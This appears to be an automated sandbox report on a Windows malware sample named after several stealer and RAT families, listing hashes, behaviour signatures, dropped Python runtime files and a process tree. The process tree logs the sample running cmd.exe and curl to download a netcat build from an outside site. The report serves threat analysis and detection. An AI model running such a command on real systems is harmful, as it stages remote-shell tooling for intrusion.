Analysis
- max time kernel
148s - max time network
111s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/07/2026, 08:14
Behavioral task
behavioral1
Sample
2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
Resource
win10v2004-20260513-en
3 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
Resource
win11ltsc2024-20260709-en
2 signatures
150 seconds
General
- Target 2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
- Size 8.8MB
- Sample260710-j49rnsfy4p
- SHA256 ad266bc143b8a5e5f1da6d4eee8a3378b438dafbe1b2c9ac62309053992d1030
- MD5 489fe2e353b461c2fcf8c7a8da3ce69e
- SHA1 9e1f77941a098d402ef62a5a89524139276e389c
- SHA512 c4324b428308ad75c4a29052fddc3f8bd6bf5403399b928af576dafbdb43530375837a28ad14ab221cf0b580930dc8d24188a0ee504c13feda4ae521462926d6
- SSDEEP 196608:IZWkjrsW4gXyvntTFqq8N3tc97aHsGXqYhpXFSFK7E:IZdrktZq5XcsHsGXqm7SP
- TLSH T14F96338893D019E7ECA3623C56F7D145E2E1B9221761CCEF26A1533D2FA775088397AC
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
Malware Config
Signatures
- Loads dropped DLL 6 IoCs
pid Process 5828 2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe 5828 2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe 5828 2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe 5828 2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe 5828 2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe 5828 2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1764 wrote to memory of 5828 1764 2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe 87 PID 5828 wrote to memory of 4344 5828 2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe 88 PID 4344 wrote to memory of 1752 4344 cmd.exe 90
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1764 -
C:\Users\Admin\AppData\Local\Temp\2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:5828 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip -o netcat.zip3⤵
- Suspicious use of WriteProcessMemory
PID:4344 -
C:\Windows\system32\curl.execurl https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip -o netcat.zip4⤵PID:1752
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Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\_MEI17642\VCRUNTIME140.dll
- Size 117KB
- SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
- MD5 32da96115c9d783a0769312c0482a62d
- SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
- SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
- SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
- TLSH T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\_MEI17642\_bz2.pyd
- Size 86KB
- SHA256 ef5277eb670219274e7d1e92190ddf7f4bb94d4922ca1c1a12efadfd2c4c66f6
- MD5 28cea50945ec6972c8ec096bf562fb9e
- SHA1 52c0e93d37e30503351c7878f0e041f5a207b103
- SHA512 28f46b34cb59ab5b8f3791138e3d05216c7eef2b38dce035180546b22b7f0c8fab9c1ec8a6a82b219de327d752cfc89ddc289996c2135273bd3106b7a5eceb19
- SSDEEP 1536:kcCxPVz7WtNyDJo7it8PWRgT6vu9zJ4iaOkx99gV8G2RbNGWC4Ij3V6yYiS9HZfC:uxPVz7D/CaOkH9gallEWC4Ij3VHTJ
- TLSH T127838E82F364A3F6F59F90B4D6850793F730BB460750A36FB24482853F12F91AE69366
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\_MEI17642\_lzma.pyd
- Size 157KB
- SHA256 39e5bc3624a26c9f6ad2e2df412543b0bd697a1d75338b44fe99763358d6d8cb
- MD5 1f2c927c6f1773093e6939e0f0075997
- SHA1 36b5cccb9e64405fbf460b65a2da5b18241b7087
- SHA512 eeaedf6685684699202dc7c48f2a70ea4c6ed41dbd7824607eee3b1e5e7b5b90e4c7f7efc808a5d0e54534135e450d9fb7602c00e0f213da80d8563b7909f0bd
- SSDEEP 3072:sJ66g4T5QW7JfyjEqkSkA51b4oznfx9mNo/Updb4IjI10CS:sUR4Tp4QPZ8N4epYOKbvv
- TLSH T1DFF34C86B794F0E6F7228C78D2624F57E6F578190320939A01CC976D2B1FB759A2E313
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\_MEI17642\_zstd.pyd
- Size 491KB
- SHA256 54e6acfbc1cb27c9afea0e133cadac68b89869ff1a14eb0c678d40eb9c655347
- MD5 256a79eff7505cc58fbf59d863c5c543
- SHA1 343939f8652fc56fb338bf1ec4c4de3c697070fc
- SHA512 993459b4b1f289be955940d6914873d190a9c3c8e646073e7603cd73fbd1d984d760f0e683ac11694b609de11a4084e6b9aa1cb755b1f63451255617f38e4605
- SSDEEP 12288:JccWmYLKvveelCu30rz+Q2sTrWl939ruf:JccWJKvveelCu30rzc+f
- TLSH T1B1B48D43F29943EDE13BC4B8CF565A13FBB1780B1214965B9395CB993F07B309A6A309
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\_MEI17642\base_library.zip
- Size 1.3MB
- SHA256 7514fe22ea0846c8ae315b3414fec75608a8063ec56797a18fdda09df3cabf91
- MD5 ca4522dba28a5af4aac02b6161dd108d
- SHA1 beb1f541cf2b15eca32c57dc50fc7fdbe9ed8094
- SHA512 1f8de75968edc53386b07f2a1a3d802a041dcfb750c991d36d54c82808e1c4a2f931a435e31addbfc815f31f55261a3023cada3d8c2a771171ce06acae0414b5
- SSDEEP 24576:0bwuUFsSlbSQeOdP2m2dfWdCL6v3S3RpAC:0wuUF+/+dr3ORp
- TLSH T1C0552AA1B9917867FEC9F37A35775A0CA715C0109B20D303B4A98DAC6FDF260AE158DC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\_MEI17642\python314.dll
- Size 6.5MB
- SHA256 18310593c50ad109fc5c95db1fd5c92ecec9e1bfc66c976df9fc11dd62616d5a
- MD5 49232f3b18bf5e2c2bd8ae0c9ad99913
- SHA1 7d69e9b82972a41e69d3558868229b8b004ce534
- SHA512 72a98bfd6771d0136848f4ba3f639b81a4b6d48b6d820b1495167819e5ec86fe763029c3e8e1c74d68310e08ba1dab4a0a11b3cf6acd72912740144a1ad64af4
- SSDEEP 98304:vnKFXcgNEs5c00S048PePvOh0evvlHDMiEiV9:vnKFXcgNw00S0487Ei/
- TLSH T13B668D26737501A5D9BB8035C9034687DBB1BC00AB30D34B49A47ADA3F733635BAEB95
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\_MEI17642\ucrtbase.dll
- Size 1.1MB
- SHA256 c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7
- MD5 3b337c2d41069b0a1e43e30f891c3813
- SHA1 ebee2827b5cb153cbbb51c9718da1549fa80fc5c
- SHA512 fdb3012a71221447b35757ed2bdca6ed1f8833b2f81d03aabebd2cd7780a33a9c3d816535d03c5c3edd5aaf11d91156842b380e2a63135e3c7f87193ad211499
- SSDEEP 24576:CJG2BrB3ZQAq0AT2jS9HKHdK6AccMs1wmxvSZX0ypFi:0VGrT6SAk3ei
- TLSH T1EC359D64B76C02A9C97BE13DC927554AFA73380147709ACB03E74AB93E2B7E552B7310
- MD5 SHA1 SHA512 SSDEEP TLSH